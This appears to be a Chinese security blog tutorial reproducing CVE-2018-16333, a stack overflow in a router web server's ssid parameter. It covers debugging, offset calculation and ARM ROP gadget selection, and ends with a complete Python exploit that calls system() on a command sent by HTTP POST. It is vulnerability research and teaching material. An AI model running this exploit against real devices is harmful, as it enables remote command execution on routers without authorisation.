此文章首发至先知社区
https://xz.aliyun.com/news/17940
启动程序的方式与上一篇文章相同,此处不进行赘述
漏洞点位分析
漏洞成因是web服务在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中,参数没有进行长度限制,导致栈溢出。根据ssid字符串定位到form_fast_setting_wifi_set函数。
程序获取ssid参数后,没有经过检查就直接使用strcpy函数复制到栈变量中。其中有个细节:第一次的strcpy如果要溢出到返回地址,会覆盖第二次的strcpy的参数dest。因此,为了将src指针覆盖为有效地址,并且不影响第一次的strcpy, 需要绕过两次strcpy的安全隐患,确保第二次strcpy不崩溃,因此Payload中需包含可读地址
-
1、溢出后跳到第一个gadget1,控制r3寄存器为system函数地址,第一个pc控制为gadget2 -
2、跳转到gadget2后,控制r0为要执行的命令即可 -
3、执行system(cmd)
偏移量分析
启动调试,这里需要换成pwndgb,因为pwndgb可以支持更多的指令,特别是计算偏移量
# 第一个终端,使用用户模式启动程序
sudo chroot ./ ./qemu -g 1234
./bin/httpd
# 第二个终端
gdb-multiarch
target remote :1234
b *0x67028 #第一个strcpy之前的位置
b *0x6707C #第一个strcpy的位置
#b *0x67080 #第二个strcpy函数的第一个参数位置
#b *0x67090 #第二个strcpy的位置
info breakpoints # 或简写为 `i b` 查看断点c
#第三个终端
python3 4.py #漏洞溢出测试脚本
# 4.py测试脚本如下所示
import requests
from pwn import *
url = "http://192.168.50.18/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=1234111115"}
data = {"ssid": cyclic(500)}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
首先看一下ida对两个strcpy的汇编代码
.text:0006706C SUB R2, R11, #-s # R2=R11-s 计算dest地址
.text:00067070 LDR R3, [R11,#src] # 加载src指针到R3
.text:00067074 MOV R0, R2 ; dest # 将R2的值赋给R0,设置目的地址dest
.text:00067078 MOV R1, R3 ; src # 将R3值赋给R1,设置源地址src
.text:0006707C BL strcpy
.text:00067080 SUB R2, R11, #-dest # R2=R11-dest 计算dest地址
.text:00067084 LDR R3, [R11,#src] # 加载src指针到R3
.text:00067088 MOV R0, R2 ; dest # 将R2的值赋给R0,设置目的地址dest
.text:0006708C MOV R1, R3 ; src # 将R3值赋给R1,设置源地址src
.text:00067090 BL strcpy
上述代码都加载了src的指针,所以如果第一次溢出,第二次不处理就会导致程序异常,接下来看pwndbg调试,首先在第一个strcpy函数前打断点,strcpy函数打断点;并对第二个strcpy函数之前打断点,strcpy函数打断点,而后运行测试脚本
首先可以看寄存器区域,主要看R0寄存器、R11寄存器、SP寄存器、PC寄存器
R0寄存器一般是函数的第一个传参,这里代表的是strcpy函数的第一个参数,目前还没有步入到0x676c,所以值还没有传入
R11寄存器当前的栈帧基址为0x40800264,在ARM架构里,R11寄存器一般代表FP寄存器,他的值指向当前函数的栈帧基址;
SP寄存器当前的栈帧基址为0x407fffe8,SP寄存器代表栈指针,指向当前栈顶(最低地址)
PC寄存器指向下一个即将执行的代码区域
执行ni指令,步入,后续按回车就行
此时程序已经执行完IDA的汇编代码SUB R2,R11,#-s ,对应的是pwndbg里面的的sub r2, fp, #0x7c
这行代码的意思就是,计算dest的地址(char s),计算方式为R11 - 0x7c=0x40800264-0x7c=0x08001E8 ,对应的是R2寄存器的值,由调试结果可知, 从栈帧基址(FP)向低地址方向偏移 124 字节(0x7C),定位到 char s 缓冲区的起始地址 ,也就是说char s的偏移量为7C
下图为执行了 0x67070 ldr r3, [fp, #-0x1c] 指令,该指令为加载src指针到R3寄存器,从这里可以看到,SRC的栈帧指针为 R11 - 0x1c=0x40800264-0x1c=0x0800248
继续执行一步,0x67074 mov r0, r2 ,此汇编代码市纪委将R2赋值给R0,实际上就是设置目的地址为char s
继续执行,发现执行了0x67078 mov r1, r3,此代码的是设置源地址(src),而后就是将源地址的字符串赋值到目的地址代表的char s,从而完成strcpy(s,str)
如果想调试第二个函数,直接按c回车,对第二个函数单独分析(第二次调试打俩断点,第一个是0x67080,第二个是0x67090)
从调试结果可以看到,第二个strcpy函数也对src进行了加载,dest的地址为0x408001a8
对比一下ida 中的伪代码可以看到
char s[64]; // [sp+200h] [bp-7Ch] BYREF
char dest[64]; // [sp+1C0h] [bp-BCh] BYREF
char *src; // [sp+260h] [bp-1Ch]
ida反汇编会有一点小瑕疵,比如在arm架构,栈帧基址应该是fp寄存器,但是在ida里显示的是bp,sp+200h与bp-7ch的结果是一样的,这个也可以作为偏移量进行计算对照参考,但是实际结果还是需要看pwndbg的调试,这个结果相对稳定
由此,我们可以得到大致的栈帧结构图
根据堆栈图,我们不难发现,src对应栈底的偏移量是0x1C;char s到栈底的偏移量是0x7c;返回地址是根据栈底+4个字节计算得来的,所以src 距离返回地址的距离是0x20;而char s到src的偏移量就是0x60;
上面我们提到,由于两个strcpy函数都对src进行了调用,所以第一次传入src溢出后也会影响到第二个strcpy函数,导致程序溢出崩溃从而无法执行system指令
所以为了能够完成漏洞利用,我们需要对利用链进行切割
(1) 第一次 strcpy(s, src)
- 目标
:覆盖 src 指针,使其指向可控地址(如 libc 中的可读地址)。 - 偏移量
:
-
s 到 src 的距离 = (bp - 0x1C) - (bp - 0x7C) = 0x60(96字节)。 - Payload 部分
:
payload = b'A' * 0x60 + p32(readable_addr) # 覆盖到 `src` 并篡改指针
(2) 第二次 strcpy(dest, src)
- 目标
:通过被篡改的 src 指针,向 dest 写入ROP链,覆盖返回地址。 - 关键点
:
-
dest 到返回地址的距离 = (bp + 4) - (bp - 0xBC) = 0xC0(192字节)。 -
但实际只需覆盖 src 到返回地址的 0x20(32字节),因为 dest 是中间跳板。
p32(readable_addr) 占 4字节, 返回地址本身占4字节(arm架构中,需要4字节填充) , 所以实际填充长度是32-4-4=24字节
(3) payload结构
所以payload应该调整为
payload = (
b'A' * 0x60 # 覆盖到src指针位置(96字节)
+ p32(readable_addr) # 覆盖src指针(4字节)
+ b'C' * 24 # 覆盖剩余空间到返回地址(24字节)
+ p32(pop_r3) # ROP链开始
+ p32(system)
+ p32(mov_r0_ret_r3)
+ cmd)
下图为栈帧示意图
readable_addr可读地址
使用ida pro打开libc.so.0文件,理论上只要是rodata的常量的偏移量,都可以拿来用,但是这里只是偏移量,需要跟上实际的地址,这个地址就是lib基址
lib基址计算
sudo chroot ./ ./qemu -g 1234 ./bin/httpd #qemu用户模式启动,-g开启gdbserver远程调试
gdb-multiarch #gdb远程调试调用
target remote :1234 #连接需要调试的端口
file ./bin/httpd #联动需要调试的文件
b puts #puts函数设置断点
continue #同c,启动
由此可见,在内存映射里面的基址地址是0x3fdd1cd4
使用ida打开libc.so.0,查看puts的相对偏移量为0x35CD4
由此可知 lib基址为
lib_base = 0x3fdd1cd4 - 0x35CD4 = 0x3FD9C000
system基址计算
计算system函数偏移量
readelf -s ./lib/libc.so.0 |grep system
system_addr = libc_base + 0x5A270
Gadget解析
跳转到R3的gadget1_addr
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3
0x00018298 : pop {r3, pc}
- 0x00018298 : pop {r3, pc}
- 功能
:从栈顶弹出两个值,分别存入 r3 和 pc。( 将 system 地址存入 r3) - 用途
:控制 r3 寄存器的值,并直接跳转到 pc 指向的地址。( 用于初始化 r3 和跳转 )
找到一个可以控制R0的gadget2_addr
ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp"
0x00040cb8 : mov r0, sp ; blx r3
- 0x00040cb8 : mov r0, sp ; blx r3
- 功能
:将栈指针 sp 的值赋给 r0,然后跳转到 r3 寄存器指向的地址执行( 此时 r3 已被前一步赋值为 system_addr)。 - 用途
:用于将栈顶数据(如命令字符串)传递给 r0( 用于传递参数并触发 system())。
ARM调用约定:在ARM中,函数调用时:
-
第一个参数通过 r0 传递。 -
函数地址通常通过 blx r3 跳转(r3 存储目标地址)
关键寄存器作用
- r0
:ARM架构中用于传递函数第一个参数(如 system("/bin/sh") 中的 "/bin/sh" 地址)。 - r3
:通用寄存器,此处用于暂存 system 函数地址。 - pc
:程序计数器,指向下一条要执行的指令地址。通过控制 pc,可以劫持程序流。
由此,完整的payload为:
完整payload
import requests
from pwn import *
cmd=b"echo success111"
libc_base = 0x3fd9c000
system = libc_base + 0x5A270
readable_addr = libc_base + 0x6415F
mov_r0_ret_r3 = libc_base + 0x40cb8
pop_r3 = libc_base + 0x18298
payload = b'a'*(0x60) + p32(readable_addr) + b'b'*(0x20-8)
payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.50.18/goform/fast_setting_wifi_set"
cookie = {"Cookie":"password=12345"}
data = {"ssid": payload}
response = requests.post(url, cookies=cookie, data=data)
response = requests.post(url, cookies=cookie, data=data)
print(response.text)
执行脚本,成功实现rce
程序有时候会抽风,需要点几下ctrl+c
response = requests.post(url, cookies=cookie, data=data) 这个重复两次,是因为如果只发一次包,回来的东西不太对,不知道是啥问题
通过堆栈查看,发现数据已经插入
若是在0x67080 也就是strcpy传参处打断点,然后查看栈空间,我们可以看见,从r0(函数第一个传参处)0x408001e8 到寄存器0x40800248 都已经被"aaaa"覆盖,并且0x40800248地址也指向libc可读地址,0x3fe0015f = libc_base + 0x6415F = 0x3fd9c000 + 0x6415F = 0x3FE0015F ,与栈内是可以对应的上的
由于arm架构小端,所以每个寄存器占用4个字节,所以从0x40800248 +4 到0x40800264 进行字节占用补充("bbbb"),为0x20 - 8 = 24 字节 ;
0x40800264 栈底开始进行rog链构造,对应的就是
pop_r3 = libc_base + 0x18298 = 0x3fd9c000 + 0x18298 = 0x3FDB4298
0x40800268返回地址 对应
system基址 = libc_base + 0x5A270 = 0x3fd9c000 + 0x5A270 = 0x3fdf6270
0x4080026c 为后续执行地址,对应
mov_r0_ret_r3 = libc_base + 0x40cb8 = 0x3fd9c000 + 0x40cb8 = 0x3FDDCCB8
0x40800270 栈帧基址开始执行cmd指令,至此,证明思路完全没问题
80:0200│ r0 0x408001e8 ◂— 0x61616161 ('aaaa')
... ↓ 23 skipped
98:0260│ 0x40800248 —▸ 0x3fe0015f ◂— cdpvs p14, #6, c6, c15, c1, #3 /* 'anonymous' */
99:0264│ 0x4080024c ◂— 0x62626262 ('bbbb')
... ↓ 5 skipped
9f:027c│ r11 0x40800264 —▸ 0x3fdb4298 ◂— pop {r3, pc}
a0:0280│ 0x40800268 —▸ 0x3fdf6270 ◂— ldr r3, [pc, #0x144]
a1:0284│ 0x4080026c —▸ 0x3fddccb8 ◂— mov r0, sp /* 'r' */
a2:0288│ 0x40800270 ◂— 'echo success111'
a3:028c│ 0x40800274 ◂— ' success111'
a4:0290│ 0x40800278 ◂— 'cess111'
a5:0294│ 0x4080027c ◂— 0x313131 /* '111' */
a6:0298│ r3 0x40800280 ◂— 'fast_setting_wifi_set'
a7:029c│ 0x40800284 ◂— '_setting_wifi_set'
a8:02a0│ 0x40800288 ◂— 'ting_wifi_set'
a9:02a4│ 0x4080028c ◂— '_wifi_set'
aa:02a8│ 0x40800290 ◂— 'i_set'
ab:02ac│ 0x40800294 ◂— 0x74 /* 't' */
ac:02b0│ 0x40800298 ◂— 0x0... ↓ 55 skipped
e4:0390│ 0x40800378 —▸ 0x66ee0 ◂— push {r4, r5, fp, lr}
e5:0394│ 0x4080037c —▸ 0x119870 —▸ 0x11aaa0 ◂— 0
e6:0398│ 0x40800380 ◂— 0x0
e7:039c│ 0x40800384 —▸ 0x40800280 ◂— 'fast_setting_wifi_set'
原文始发于微信公众号(我不懂安全):栈溢出从复现到挖掘-CVE-2018-16333漏洞复现详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论